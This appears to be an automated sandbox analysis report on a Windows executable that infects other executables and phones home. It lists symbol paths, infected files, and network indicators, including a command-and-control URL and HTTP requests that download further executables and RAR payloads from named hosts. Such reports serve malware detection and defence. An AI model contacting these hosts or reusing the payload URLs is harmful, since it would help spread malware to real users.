Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\# source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2494216600.0000000003112000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2477859870.0000000003111000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2495778566.0000000003112000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474015460.0000000003111000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474590763.0000000003112000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2478448827.0000000003112000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2482812646.0000000003112000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\m source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\j source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474590763.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2478448827.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2470959972.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2482812646.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2495778566.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2494216600.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2477859870.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474015460.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505596863.000000000315D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505802837.000000000316D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\fexif.pdb source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2539723372.0000000003699000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\n source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.logxs source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505596863.000000000315D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505802837.000000000316D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\e\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctC19B.tmp.8.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Code function: 2_2_006029E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	2_2_006029E2
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Code function: 2_2_00602B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

2_2_00602B8C

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://fuyt.org/test1/get.php

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54345 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54346 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54347 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54349 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54351 -> 799

Source: global traffic

TCP traffic: 192.168.2.10:49704 -> 44.221.84.105:799

Source: Joe Sandbox View	IP Address: 44.221.84.105 44.221.84.105
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: LIVECOMM-ASRespublikanskayastr3k6RU LIVECOMM-ASRespublikanskayastr3k6RU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Code function: 2_2_00601099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,

2_2_00601099

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zerit.top
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431052947.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431432894.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431583552.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: zerit.top
Source: global traffic	DNS traffic detected: DNS query: fuyt.org

Source: lvAVrO.exe, 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmp, lvAVrO.exe, 00000002.00000003.1289102093.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000003.1438598264.0000000000F40000.00000004.00001000.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000002.1657019967.00000000000F3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: lvAVrO.exe, 0000000F.00000003.1493215893.0000000000B88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: lvAVrO.exe, 00000002.00000002.1435881124.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000003.1365547945.0000000000E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar%/
Source: lvAVrO.exe, 0000000F.00000003.1493215893.0000000000B88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar&
Source: lvAVrO.exe, 00000002.00000003.1365547945.0000000000E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar(
Source: lvAVrO.exe, 0000000F.00000003.1493269721.0000000000B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarH
Source: lvAVrO.exe, 00000002.00000002.1435881124.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarR
Source: lvAVrO.exe, 00000002.00000002.1435881124.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000003.1365640575.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000003.1365397577.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarcC:
Source: lvAVrO.exe, 0000000F.00000003.1493215893.0000000000B88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarn
Source: lvAVrO.exe, 0000000F.00000003.1493269721.0000000000B47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rars
Source: lvAVrO.exe, 0000000F.00000003.1493269721.0000000000B6C000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rartC:
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar5C:
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rara&
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rary
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarU
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rarB&
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rarn
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rart
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rarw&
